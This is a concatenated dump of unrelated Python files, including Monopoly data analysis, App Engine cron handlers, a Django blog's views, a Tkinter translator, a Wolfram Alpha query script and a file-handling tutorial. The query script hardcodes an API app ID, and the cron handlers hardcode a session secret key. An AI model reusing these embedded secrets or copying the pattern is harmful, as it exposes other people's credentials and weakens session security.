protocol=pickle.HIGHEST_PROTOCOL)\n print(f'Finished {save_file_name}')\n\nNUM_PROCESSES = 2\n\ndef main(args):\n for map_file in glob.glob(args.map_glob):\n num_players = re.search('p(\\d+)', os.path.basename(map_file))\n try:\n if not num_players:\n raise Exception(f'Unable to find the number of player in map {map_file}')\n num_players = int(num_players.group(1))\n except Exception as e:\n print(e)\n continue\n\n for trial in range(args.num_trials):\n player_combs = get_players_combinations(num_players)\n func = partial(run_episode_data, map_file, trial, args.discount_factor)\n with Pool(NUM_PROCESSES) as p:\n p.map(func, player_combs)\n print(f'Finished trial {trial}')\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Run games on a map and store gameplay to file.')\n parser.add_argument('--map_glob', help='Glob identifing all map files to play on')\n parser.add_argument('--num_trials', type=int, help='Number of times to run each map-player combination.')\n parser.add_argument('--discount_factor', type=float, help='The discount factor for the rewards.')\n args = parser.parse_args()\n main(args)\n","sub_path":"bots/trained_bots/likhit/data/episodegen.py","file_name":"episodegen.py","file_ext":"py","file_size_in_byte":5264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"31831556","text":"# Uses linear algebra.\nimport pickle\nfrom timer import *\nfrom monopoly import *\nimport numpy\nfrom copy import deepcopy\nfrom sympy.matrices import *\n\ndef main():\n convert_group = {\"Brown\": 0, \"Light Blue\": 1, \"Pink\": 2, \"Orange\": 3,\n \"Red\": 4, \"Yellow\": 5, \"Green\": 6, \"Dark Blue\": 7,\n \"Railroad\": 8, \"Utility\": 9}\n properties_in_group = {\"Brown\": 2, \"Light Blue\": 3, \"Pink\": 3, \"Orange\": 3,\n \"Red\": 3, \"Yellow\": 3, \"Green\": 3, \"Dark Blue\": 2,\n \"Railroad\": 4, \"Utility\": 2}\n prop_id = {1: 1, 3: 2, 5: 3, 6: 4, 8: 5, 9: 6, 11: 7, 12: 8, 13: 9, 14: 10, 15: 11, 16: 12, 18: 13, 19: 14,\n 21: 15, 23: 16, 24: 17, 25: 18, 26: 19, 27: 20, 28: 21, 29: 22, 31: 23, 32: 24, 34: 25, 35: 26,\n 37: 27, 39: 28}\n all_groups = [\"Brown\", \"Light Blue\", \"Pink\", \"Orange\",\n \"Red\", \"Yellow\", \"Green\", \"Dark Blue\",\n \"Railroad\", \"Utility\"]\n no_solution = True\n counter = 0\n while no_solution:\n print(counter)\n # Find games with broken groups.\n games_to_use = []\n all_groups_found = []\n all_groups_found_group_vars = []\n while len(all_groups_found) < 10 and len(all_groups_found_group_vars) < 10:\n game = pickle.load(open('results/stalemates/long/game' + str(randint(0, 49999)) + '.pickle', \"rb\"))\n\n players = [game.active_players[0], game.active_players[1]]\n\n for current_player in players:\n # Add railroads and utilities to the list of monopolies.\n counter = 0\n for property in current_player.inventory:\n if property.group == \"Railroad\":\n counter += 1\n if counter == 4:\n current_player.monopolies.append(\"Railroad\")\n\n counter = 0\n for property in current_player.inventory:\n if property.group == \"Utility\":\n counter += 1\n if counter == 2:\n current_player.monopolies.append(\"Utility\")\n\n all_monopolies = []\n all_monopolies.extend(players[0].monopolies)\n all_monopolies.extend(players[1].monopolies)\n\n\n game_found = False\n for group in all_groups:\n if group not in all_monopolies:\n if group not in all_groups_found:\n all_groups_found.append(group)\n game_found = True\n\n for group in all_monopolies:\n if group not in all_groups_found_group_vars:\n all_groups_found_group_vars.append(group)\n game_found = True\n\n if game_found:\n games_to_use.append(deepcopy(game))\n\n # Add more games until we hit 38.\n while len(games_to_use) < 38:\n game = pickle.load(open('results/stalemates/long/game' + str(randint(0, 49999)) + '.pickle', \"rb\"))\n games_to_use.append(deepcopy(game))\n\n matrix = []\n money_totals = []\n for game in games_to_use:\n players = [game.active_players[0], game.active_players[1]]\n\n # The first set of coefficients.\n coefficients1 = [0 for i in range(28)]\n\n for current_player in players:\n for property in current_player.inventory:\n if property.group not in current_player.monopolies:\n if current_player.number == 1:\n coefficients1[prop_id[property.id] - 1] += 1\n elif current_player.number == 2:\n coefficients1[prop_id[property.id] - 1] -= 1\n\n # The second set of coefficients.\n coefficients2 = [0 for i in range(10)]\n\n for current_player in players:\n # Add coefficients for the completed groups.\n for group in current_player.monopolies:\n average_rent_proportion = 0\n for property in current_player.inventory:\n if property.group == group:\n if current_player.number == 1:\n average_rent_proportion += game.calculate_rent_proportion(property=property,\n owner=current_player)\n elif current_player.number == 2:\n average_rent_proportion -= game.calculate_rent_proportion(property=property,\n owner=current_player)\n average_rent_proportion /= properties_in_group[group]\n\n # Add coefficients.\n coefficients2[convert_group[group]] = average_rent_proportion\n\n coefficients = []\n coefficients.extend(coefficients1)\n coefficients.extend(coefficients2)\n print(coefficients)\n matrix.append(coefficients)\n\n # Add constant.\n #money_totals.append((players[0].money - players[1].money) / (players[0].money + players[1].money))\n money_totals.append(players[0].money - players[1].money)\n\n print(money_totals)\n for i in range(len(matrix)):\n matrix[i].append(money_totals[i])\n\n print(\"!\",Matrix(matrix))\n\n matrix = Matrix.rref(Matrix(matrix))\n print(matrix)\n counter += 1\n\n '''solution = []\n try:\n print(money_totals)\n solution = numpy.linalg.solve(matrix, money_totals)\n print(solution)\n print(\"!!!!!!!!!!!!!!!!!!!!!!!!!!!\")\n no_solution = False\n except:\n print(\"No solution!\")'''\n\n\n\nif __name__ == '__main__':\n timer()\n main()\n timer()","sub_path":"python_archive/stalemates/analyzeStalematesWithSystemFinder.py","file_name":"analyzeStalematesWithSystemFinder.py","file_ext":"py","file_size_in_byte":5942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"547504118","text":"#!/usr/bin/env python3\n\n# Created by: Michael Zagon\n# Created on: Oct 2021\n# This program finds the average of 10 random numbers\n\nimport random\n\n\ndef main():\n # This function finds the average of 10 random numbers\n\n sum_of_numbers = 0\n average = []\n\n for counter in range(0, 10):\n random_number = random.randint(1, 100)\n average.append(random_number)\n sum_of_numbers = sum_of_numbers + random_number\n print(\"The random number is {0}:\".format(random_number))\n\n answer = sum_of_numbers / len(average)\n\n print(\"\\nThe average is {0}\".format(answer))\n print(\"\\nDone.\")\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"random_average.py","file_name":"random_average.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"55485290","text":"def max_of_shifted_iterative(shifted_list):\n N = len(shifted_list)\n if N == 0:\n return None\n elif N == 1:\n return shifted_list[0]\n # at least two elements in input iterable\n else:\n for index, num in enumerate(shifted_list):\n if num < shifted_list[index-1]:\n return shifted_list[index-1]\n return num\n \ndef max_of_shifted_recursive(shifted_list):\n if len(shifted_list) == 0:\n return None\n elif len(shifted_list) == 1:\n return shifted_list[0]\n else:\n min_elem, index_of_min_elem = index_of_min(shifted_list, 0, len(shifted_list)-1)\n return shifted_list[index_of_min_elem - 1]\n\ndef index_of_min(elements, start, end):\n if start == end:\n return (elements[start], start)\n mid = (start + end)/2\n top_min, index_of_top_min = index_of_min(elements, start, mid)\n bottom_min, index_of_bottom_min = index_of_min(elements, mid+1, end)\n # if duplicate min, return index on the bottom, concatenated side\n if top_min == bottom_min:\n return (bottom_min, index_of_bottom_min)\n return (top_min, index_of_top_min) if top_min < bottom_min else (bottom_min, index_of_bottom_min)\n","sub_path":"shifted_list_search.py","file_name":"shifted_list_search.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"355003391","text":"#!/usr/bin/env python3\nimport xml.etree.ElementTree as ET\nfrom urllib.parse import urlencode\nimport requests\nimport sys\nimport io\n\nNORMAL = '\\033[0m'\nBOLD = '\\033[1m'\nUNDERLINE = '\\033[4m'\nHOST_NAME = 'api.wolframalpha.com'\nAPP_ID = 'TPXWX3-PLV66PGRGY'\nPATH_FROM_INPUT = lambda input: '/v2/query?' + urlencode(\n { 'input': input, 'appid': APP_ID }\n)\n\ndef printContent(root):\n pods = root.findall('pod[@title]')\n for pod in pods:\n print(BOLD + UNDERLINE + pod.attrib['title'] + NORMAL)\n content = pod.findall('.//plaintext')\n for section in content:\n if section.text != None:\n print(' ' + section.text, end='\\n\\n')\n\n\nif len(sys.argv) == 1:\n raise ValueError('No input provided')\n\nfull_url = 'https://' + HOST_NAME + PATH_FROM_INPUT(sys.argv[1])\nres = requests.get(full_url)\nif res.ok:\n root = ET.fromstring(res.text)\n printContent(root)\n\n","sub_path":"query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"133290540","text":"\"\"\"URL Handlers are designed to be simple wrappers over our python cron module.\nThey generally convert a URL directly to an cron function call.\nSee cron.Cron\n\"\"\"\n\nfrom google.appengine.api import app_identity\nfrom google.appengine.api import urlfetch\nimport httplib\nimport json\nimport logging\nimport traceback\n\nfrom core import PermissionDenied\nfrom cron import Cron\nfrom url_handlers import *\nimport test_handlers\nimport util\n\n\ndebug = util.is_development()\n\n\nclass CronHandler(BaseHandler):\n \"\"\"Superclass for all cron-related urls.\"\"\"\n\n def do_wrapper(self, *args, **kwargs):\n \"\"\"Do setup for cron handlers.\n\n - Jsons output\n - logs exception traces\n - Initializes Api-like Cron object\n \"\"\"\n # Cron jobs should not be bothered with permissions. Give god access.\n self.cron = Cron(self.internal_api)\n\n try:\n self.write_json(self.do(*args, **kwargs))\n except Exception as error:\n trace = traceback.format_exc()\n logging.error(\"{}\\n{}\".format(error, trace))\n response = {\n 'success': False,\n 'message': '{}: {}'.format(error.__class__.__name__, error),\n 'trace': trace,\n }\n self.write_json(response)\n\n def write_json(self, obj):\n r = self.response\n r.headers['Content-Type'] = 'application/json; charset=utf-8'\n r.write(json.dumps(obj))\n\n\nclass AggregateHandler(CronHandler):\n \"\"\"See named@Aggregator for details.\"\"\"\n def do(self):\n return {'success': True, 'data': self.cron.aggregate()}\n\n\nclass UpdateCsvCacheHandler(CronHandler):\n \"\"\"Process all participant data.\"\"\"\n def do(self):\n messages = {'success': True}\n messages['pd_all'] = self.cron.update_csv_cache('pd_all')\n messages['user_all'] = self.cron.update_csv_cache('user_all')\n return messages\n\n\nclass IndexHandler(CronHandler):\n \"\"\"See named@indexer for details.\"\"\"\n def do(self):\n data = self.cron.index()\n return {'success': True, 'data': data}\n\n\nclass CheckForErrorsHandler(CronHandler):\n \"\"\"See named@errorChecker for details.\"\"\"\n def do(self):\n data = self.cron.check_for_errors()\n return {'success': True, 'data': data}\n\n\nclass SendPendingEmail(CronHandler):\n \"\"\"See core@email for details.\"\"\"\n def do(self):\n data = self.cron.send_pending_email()\n return {'success': True, 'data': data}\n\n\nclass SendReminders(CronHandler):\n \"\"\" see cron@send_reminders for details. \"\"\"\n def do(self):\n # Permissions\n # Anyone should be able to send_reminders, its an idempotent\n # function, so it can be called many times without concern.\n # However, it reports some sentive information like email\n # addresses, that only gods should be able to see. Therefore\n # if this is called by anyone else it will not return all of\n # the data.\n try:\n data = self.cron.send_reminders()\n except PermissionDenied:\n data = \"Reminders sent. Sign in as god to see full report.\"\n self.cron.send_reminders()\n\n return {'success': True, 'data': data}\n\n\nclass StartGceHandler(CronHandler):\n \"\"\"Initiates Instance 'X' which serializes PD data by cohort and\n saves serialized strings in GCS bucket. Cron Job, runs every X minutes.\"\"\"\n def do(self, instance_name):\n # If this handler is given no_shutdown=true, the instance will be\n # launched with a different startup script that does NOT automatically\n # shut down the instance. This way it can be logged into for debugging.\n no_shutdown = self.request.get('no_shutdown') in config.true_strings\n auto_shutdown = not no_shutdown\n message = self.cron.start_gce_instance(instance_name,\n auto_shutdown=auto_shutdown)\n return {'success': True, 'message': message}\n\n\nclass DeleteGceHandler(CronHandler):\n \"\"\"Fetches statuses of currently running GCE Instances.\n If instance returns status 'TERMINATED' then executes instance shutdown.\n Cron Job, to be run every X minutes.\"\"\"\n def do(self):\n messages = {'success': True}\n messages['GCE'] = self.cron.delete_gce_instances()\n\n return messages\n\n\nclass BackupToGcsHandler(CronHandler):\n def do(self):\n access_token, _ = app_identity.get_access_token(\n 'https://www.googleapis.com/auth/datastore')\n app_id = app_identity.get_application_id()\n\n entity_filter = {\n 'kinds': self.request.get_all('kind'),\n 'namespace_ids': self.request.get_all('namespace_id')\n }\n request = {\n 'project_id': app_id,\n 'output_url_prefix': 'gs://{}'.format(self.request.get('bucket')),\n 'entity_filter': entity_filter\n }\n headers = {\n 'Content-Type': 'application/json',\n 'Authorization': 'Bearer ' + access_token\n }\n url = 'https://datastore.googleapis.com/v1/projects/{}:export'.format(\n app_id)\n\n try:\n result = urlfetch.fetch(\n url=url,\n payload=json.dumps(request),\n method=urlfetch.POST,\n deadline=60,\n headers=headers)\n if result.status_code == httplib.OK:\n logging.info(result.content)\n elif result.status_code >= 500:\n logging.error(result.content)\n else:\n logging.warning(result.content)\n self.response.status_int = result.status_code\n except urlfetch.Error:\n raise Exception('Failed to initiate export.')\n\n self.response.write(\"Export initiated.\")\n\n\nclass CleanGcsBucketHandler(CronHandler):\n \"\"\"Empties out a URL-specified GCS bucket,\"\"\"\n def do(self, bucket):\n messages = {'success': True}\n messages[bucket] = self.cron.clean_gcs_bucket(bucket)\n\n return messages\n\n\nclass UnitTestHandler(CronHandler):\n \"\"\"Runs our unit tests in production. Raises an excpetion if they fail.\"\"\"\n def do(self):\n # Wrap the existing code that calls all unit tests so that an exception\n # is raised on failure.\n handler = test_handlers.AllHandler()\n response = handler.do()\n # All we care about is the 'was_successful' flag, which is only true\n # if all tests pass.\n if response['data']['was_successful']:\n return {'success': True}\n else:\n raise Exception(\"Unit test failed in production.\\n{}\".format(\n response['data']))\n\n\nwebapp2_config = {\n 'webapp2_extras.sessions': {\n # cam. I think this is related to cookie security. See\n # http://webapp-improved.appspot.com/api/webapp2_extras/sessions.html\n 'secret_key': '8YcOZYHVrVCYIx972K3MGhe9RKlR7DOiPX2K8bB8',\n },\n}\n\napp = webapp2.WSGIApplication([\n ('/cron/aggregate', AggregateHandler),\n ('/cron/index', IndexHandler),\n ('/cron/check_for_errors', CheckForErrorsHandler),\n ('/cron/send_pending_email', SendPendingEmail),\n ('/cron/send_reminders', SendReminders),\n ('/cron/update_csv_cache', UpdateCsvCacheHandler),\n ('/cron/start_gce_instance/(.*)', StartGceHandler),\n ('/cron/delete_gce_instances', DeleteGceHandler),\n ('/cron/clean_gcs_bucket/(.*)', CleanGcsBucketHandler),\n ('/cron/run_unit_tests', UnitTestHandler),\n ('/cron/backup', BackupToGcsHandler),\n], config=webapp2_config, debug=debug)\n","sub_path":"cron_handlers.py","file_name":"cron_handlers.py","file_ext":"py","file_size_in_byte":7554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"417773624","text":"#GUItranslator.py\r\nfrom tkinter import *\r\n#จากไลบรารีชือ tkinter,*คือให้ถึงความสามารถหลักทั้งหมด\r\nfrom tkinter import ttk #ttk is theme of tk\r\n###---------Google Translate------------\r\nfrom googletrans import Translator\r\ntranslator = Translator()#สร้างฟังสชันเเปลพาษา\r\n\r\nGUI = Tk() #สร้างหน้าต่างหลัก\r\nGUI.geometry('500x300') #กว้าง X สูง\r\nGUI.title('ໂປຣເເກຣມເເປພາສາໂດຍ SB IT POWER')#การใช้หัวข้อของโปณเเกรมหลืชื่อโปรเเกรม\r\n#-----config------\r\nFONT = ('phetsarath ot',15)\r\n#-----Label------\r\nL = ttk.Label(GUI,text='ກະລຸນາໃສ່ຄຳສັບທີ່ຕ້ອງກັນເເປ',font=FONT)\r\nL.pack()\r\n\r\n#-----Entry(ช่องกรอกข้อความ)-----\r\nv_vocab = StringVar()#กล่องเก็บข้อความ\r\nE1 = ttk.Entry(GUI,textvariable = v_vocab,font=FONT,width=40)\r\nE1.pack(pady=20)\r\n\r\n\r\n#-----Button(ปุ่มเเปล)-----\r\ndef Translate():\r\n vocab = v_vocab.get()#.getคือให้เเสดวผลออกมา\r\n meaning = translator.translate(vocab,dest='lo')\r\n print(vocab + ':' + meaning.text)\r\n print(meaning.pronunciation)\r\n v_result.set(vocab + ':' + meaning.text)\r\n \r\nB1 = ttk.Button(GUI,text='Translate',command=Translate)#สร้างปุ่มขื้้นมา\r\nB1.pack(ipadx=20,ipady=10)#show ปุ่มขื้นมาวางจากบนลงล่าง\r\n\r\n#-----Label------\r\nL = ttk.Label(GUI,text='ຄຳເເປ',font=FONT)\r\nL.pack()\r\n#-------Result-----\r\nv_result = StringVar()#นี้คือกล่องสำหรับเก็บคำเเปล\r\nFONT2 = ('phetsarath ot',15)\r\nR1 = ttk.Label(GUI,textvariable=v_result,font=FONT2,foreground='green')\r\nR1.pack()\r\nGUI.mainloop() #ทำให้โปรเเกรมรันได้ตหลอเวลาจนกว่าจะปิด\r\n","sub_path":"GUItranslator.py","file_name":"GUItranslator.py","file_ext":"py","file_size_in_byte":2129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"556610396","text":"# -*- coding: utf-8 -*-\n\"\"\"\n------------------------------------------------- \nFile Name: 4.1函数介绍 \nDescription : \nAuthor : ml \ndate: 2018/7/12\n------------------------------------------------- \nChange Activity: \n\t\t\t\t2018/7/12:\n-------------------------------------------------\n\"\"\"\n__author__ = 'ml'\n'''\n具有独立功能的代码块组织为一个小模块,这就是函数\n定义时小括号中的参数,用来接收参数用的,称为形参\n调用时小括号中的参数,用来传递给函数用的,称为实参\n4种函数的类型:\n无参数,无返回值\n无参数,有返回值\n有参数,无返回值\n有参数,无返回值\n函数根据有没有参数,有没有返回值可以相互结合\npython中可以返回多个值\n定义函数时,要根据实际的功能需求来设计的,所以不同开发人员编写的函数类型各不相同\n'''\ndef calculateNum(num):\n result = 0\n i = 0\n while i <= num:\n result += i\n i +=1\n return result\nresult = calculateNum(100)\nprint(result)","sub_path":"python_basic/4.函数/4.1函数介绍.py","file_name":"4.1函数介绍.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"251735050","text":"from django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.views.generic import DetailView, ListView\nfrom django.views.generic.base import TemplateView\nfrom django.views.generic.edit import BaseCreateView, UpdateView, DeleteView\nfrom django.views.generic.detail import SingleObjectTemplateResponseMixin\nfrom django.http import HttpResponseForbidden, HttpResponseRedirect\nfrom django.urls import reverse, reverse_lazy\n\nimport mistune\n\nfrom .forms import CreateArticleForm, EditArticleForm\nfrom .utils import pager\nfrom .my_renderer import HightlightRenderer\nfrom .models import Article\nfrom apps.comment.forms import CommentForm\n\n\nclass ArticleListView(ListView):\n \"\"\"Index homepage\n \"\"\"\n template_name = \"article/index.html\"\n model = Article\n\n def get_context_data(self, **kwargs):\n context = super(ArticleListView, self).get_context_data(**kwargs)\n page = self.request.GET.get('page')\n context['articles'] = pager(page)\n return context\n\n\nclass CreateArticleView(LoginRequiredMixin,\n SingleObjectTemplateResponseMixin,\n BaseCreateView):\n \"\"\"Class-based view function used to write an article\n \"\"\"\n template_name = 'article/editor.html'\n form_class = CreateArticleForm\n login_url = '/accounts/login/'\n \n def dispatch(self, request, *args, **kwargs):\n return super(CreateArticleView, self).dispatch(request, *args, **kwargs)\n\n def form_valid(self, form):\n \"\"\"\n :param form: instantiate an form with request.POST\n :return: HttpResponseRedirect\n \"\"\"\n # update article instance,\n # fix article'author is null when article posted.\n form.instance.author = self.request.user\n return super(CreateArticleView, self).form_valid(form)\n\n\nclass UpdateArticleView(LoginRequiredMixin, UpdateView):\n \"\"\"View function for editing a posted article\n \"\"\"\n login_url = '/accounts/login/'\n template_name = 'article/editor.html'\n model = Article\n context_object_name = 'article'\n form_class = EditArticleForm\n\n # TODO: to be refactored in the future\n def get(self, request, *args, **kwargs):\n response = super(UpdateArticleView, self).get(request, *args, **kwargs)\n if request.user.is_superuser or request.user == self.object.author:\n return response\n return HttpResponseForbidden(\"

The article can't be edited by you\"\n \".

\")\n\n # TODO: to be refactored in the future\n def post(self, request, *args, **kwargs):\n article = Article.objects.get(pk=kwargs.get('pk', None))\n if request.user.is_superuser or request.user == article.author:\n super(UpdateArticleView, self).post(request, *args, **kwargs)\n return HttpResponseRedirect(reverse(\"article:manage\"))\n\n return HttpResponseForbidden(\"

The article doesn't blog to \"\n \"you.

\")\n\n\nclass ArticleDetailView(DetailView, BaseCreateView):\n \"\"\"The detail of each article\n \"\"\"\n model = Article\n form_class = CommentForm\n template_name = 'article/article_detail.html'\n context_object_name = 'article'\n\n def get_object(self):\n renderer = HightlightRenderer()\n markdown = mistune.Markdown(escape=True,\n hard_wrap=True,\n renderer=renderer)\n article = super(ArticleDetailView, self).get_object()\n article.view_times += 1\n article.save()\n article.article_body = markdown(article.article_body)\n return article\n\n\nclass DeleteArticleView(LoginRequiredMixin, DeleteView):\n model = Article\n login_url = 'account/login/'\n template_name = 'article/article_confirm.html'\n success_url = reverse_lazy('article:manage')\n context_object_name = 'article'\n\n def get(self, request, *args, **kwargs):\n response = super(DeleteArticleView, self).get(request, *args, **kwargs)\n if self.object.author == request.user or request.user.is_superuser:\n return response\n return HttpResponseForbidden('

This article does not blog to '\n 'you.

')\n\n def post(self, request, *args, **kwargs):\n response = super(DeleteArticleView, self).post(request, *args, **kwargs)\n if self.object.author == request.user or request.user.is_superuser:\n return response\n return HttpResponseForbidden('

This article does not blog to '\n 'you.

')\n\n\nclass AllArticles(ListView):\n template_name = 'article/all_articles.html'\n model = Article\n\n def get_context_data(self, **kwargs):\n context = super(AllArticles, self).get_context_data(**kwargs)\n page = self.request.GET.get('page')\n per_page = 15\n context['articles'] = pager(page, per=per_page)\n return context\n\n\nclass ArticleManagementView(LoginRequiredMixin, TemplateView):\n template_name = 'article/article_backend.html'\n\n\n","sub_path":"apps/article/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"453327386","text":"from django.shortcuts import render\nfrom random import randrange\n# Create your views here.\n\nimport requests\nurl=requests.get('https://newsapi.org/v2/top-headlines?country=us&apiKey=f8bbb8bd793d45d9b1df096734577194')\ncont = url.json()\nmylist = cont['articles'][:5]\ndef news_list(request):\n context={\n 'mylist':mylist\n }\n return render(request,'news/news_list.html',context)\n\ndef news(request):\n rand=randrange(len(mylist))\n context={\n 'news':mylist[rand]\n }\n\n return render(request,'news/news.html',context)\n","sub_path":"DisplayingNewsList/newslist/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"157470098","text":"\"\"\"add filds for users \n\nRevision ID: 38e00d240ea4\nRevises: b5ef57751578\nCreate Date: 2018-06-09 16:03:47.990070\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '38e00d240ea4'\ndown_revision = 'b5ef57751578'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('users', sa.Column('email', sa.String(length=50), nullable=True))\n op.add_column('users', sa.Column('last_login', sa.DateTime(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('users', 'last_login')\n op.drop_column('users', 'email')\n # ### end Alembic commands ###\n","sub_path":"alembic/versions/38e00d240ea4_add_filds_for_users.py","file_name":"38e00d240ea4_add_filds_for_users.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"177139279","text":"#-*- coding: UTF-8 -*-\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def levelOrder(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: List[List[int]]\n \"\"\"\n if root == None:\n return []\n #到循环之前都是进行初始化\n levelOrder=[] #存储节点的层次遍历节点值\n listTree=[root] #存储层次遍历的节点,模拟队列\n level=[1] #存储节点的层次\n front=0\n while front != len(listTree):\n temp=listTree[front]#取的队列中的front指向的值\n #level[front]表示当前的节点层次\n #len(levelOrder)表示levelOrder的长度\n if level[front] > len(levelOrder): #如果层次大于levelOrder的长度\n li=[temp.val]#那么代表着levelOrder中没有该二叉树该层次的数据\n levelOrder.insert(0,li)#建立该层次的list,并添加到levelOrder中\n else: #level[front]<=len(levelOrder)。levelOrder中二叉树该层次的数据\n levelOrder[0].append(temp.val)#直接添加即可\n if temp.left!=None:#左子树非空,那么添加到队列中\n listTree.append(temp.left)\n level.append(level[front]+1)\n if temp.right!=None:#右子树非空,那么添加到队列中\n listTree.append(temp.right)\n level.append(level[front]+1)\n front=front+1#最后将front加1,指向下一个待访问的节点\n return levelOrder\n","sub_path":"levelOrder2.py","file_name":"levelOrder2.py","file_ext":"py","file_size_in_byte":1693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"340824453","text":"\"\"\"\nIn Python, when handling errors a special object call 'exceptions' are used that\nmanage errors that might arise during a program's execution. Whenever an error\noccurs that might make Python unsure on how to handle the error, it creates an\nexception object. If you write code that handles the exception, the program will\ncontinue running. If you don't handle the exception, the program will halt and\nshow a traceback, which includes a report of the exception that was raised.\n\n Exceptions are handled with try-except blocks. A try-except block asks\nPython to do something, but it also tells Python what to do if an exception is\nraised. When you use the try-except block, your programs will keep running even\nwhen things begin to go wrong. Instead of traceback, which can be somethings\nconfusing for users to read, users will see friendly error messages left by the\nprogrammer.\n\"\"\"\n\n# Handling the ZeroDivisionError Exception\n\"\"\"\nIn Python, you cannot divide a number by zero (0) because it is impossible to \ndivide a number by nothing. If you write a piece of code that divides a number \nby zero, it raises an error.\n\n To mange this type of error from crashing your program, you can create a \ntry-except block to handle the exception that might occur. By telling Python to \nrun some code, and telling what to do if the code results in a particular kind \nof exception.\n For example, I'll create a simple program that calculates the body mass \nindex of the user, asking them for two values; their mass in kg and their height\nin m**2\n\"\"\"\n\nprint(\"Please enter your mass in kg and your height in cm, and you'll get your\"\n \" BMI\")\nprint(\"Enter 'quit' to exist program.\")\n\nwhile True:\n height = input(\"Please enter your height in cm: \")\n if height == \"quit\":\n break\n\n mass = input(\"Please enter your mass in kg: \")\n if mass == \"quit\":\n break\n\n try:\n height_meters = float(height) / 100\n BMI = float(mass) / float(height_meters ** 2)\n except ZeroDivisionError:\n print(\"Sorry you cannot divide by 0!\")\n else:\n print(f\"Your Body Mass Index is {BMI}kg/m2\")\n\n# Handling the FileNotFoundError Exception\n\"\"\"\nWhen working with files, one common is the handling of missing files. This error\nmight be as a result of having the wrong file path, misspelling the name of the\nfile or calling a file that simply doesn't exists. To handle such exceptions we\ncan create a try-except block of code.\n For example, I'll try to read a file called vertical_farm.txt but I'm going \npurposely misspell the file name. I'll also write a try-except block that will\nhandle any exceptions if any arises:\n\"\"\"\nfilename = \"vertical_farm.txt\"\n\ntry:\n with open(filename, encoding=\"utf-8\") as file_object:\n content = file_object.read()\n print(content)\nexcept FileNotFoundError:\n print(f\"Sorry but {filename} doesnt exist. Please check the spelling of the\"\n f\"file address or go over the file path again.\")\n\n# Analysing Text\n\"\"\"\nYou can analyze a file to know more about that file. For example, wanting to \nknow how many words or characters are in a file. To do this we can use the \nstring split() method, which can build a list of words from a string.\n\"\"\"\n\ndata = \"files_and_exceptions/ai_bigdata.txt\"\n\ntry:\n with open(data, encoding=\"utf-8\") as file_object:\n text = file_object.read()\n print(text)\nexcept FileNotFoundError:\n print(f\"Sorry but {data} doesnt exist. Please check the spelling of the\"\n f\"file address or go over the file path again.\")\nelse:\n # Count the approximate number of words in the data file\n words = text.split()\n num_words = len(words)\n print(f\"The file {data} consists of {num_words} words.\")\n\n# Working with Multiple Files\n\"\"\"\nSometimes one might find themselves working with multiple files at once. To do \nso comfortably and efficiently start off by creating a function that contains\nthe programs try-except block and what you want your code to perform.\n\nFor example, replacing the word 'number' to 'quantity' in the files I'll be \nworking with:\n\"\"\"\n\n\ndef replace_word(document):\n \"\"\"Replace the word 'number' to 'quantity' in a file\"\"\"\n try:\n with open(document) as doc_object:\n files = doc_object.readlines()\n\n except FileNotFoundError:\n print(f\"Sorry but {document} doesnt exist. Please check the spelling \"\n f\"of the file address or go over the file path again.\")\n else:\n # Replace the given word in the files\n for line in files:\n print(line.replace(\"number\", \"quantity\").rstrip())\n\n\ndoc_names = [\"vertical_farm.txt\", \"files_and_exceptions/ai_bigdata.txt\",\n \"dec.txt\"]\nfor doc_name in doc_names:\n replace_word(doc_name)\n\n# N.B\n\"\"\"\nIn some cases when you don't need to report an error. When can allow the program \nto fail silently when an exception occurs and continue as if nothing happened.\nTo make a program fail silently, you write a try-except block, but inside the \nexcept block tell Python to do nothing by using the simple syntax called 'pass'.\n\nFor example:\n\"\"\"\n\n\ndef count_word(doc):\n \"\"\"Count the number of terms in the file.\"\"\"\n try:\n with open(doc, encoding=\"utf-8\") as file_item:\n text_file = file_item.read()\n\n except FileNotFoundError:\n pass\n\n else:\n # Count the approximate number of terms in the data file\n terms = text_file.split()\n word_count = len(terms)\n print(f\"The file {doc} consists of {word_count} terms.\")\n\n\ndocuments = [\"vertical_farm.txt\",\n \"/Users/johnphillip/Desktop/python_work\"\n \"/files_and_exceptions/ai_bigdata.txt\",\n \"green_project.pdf\"]\nfor document in documents:\n 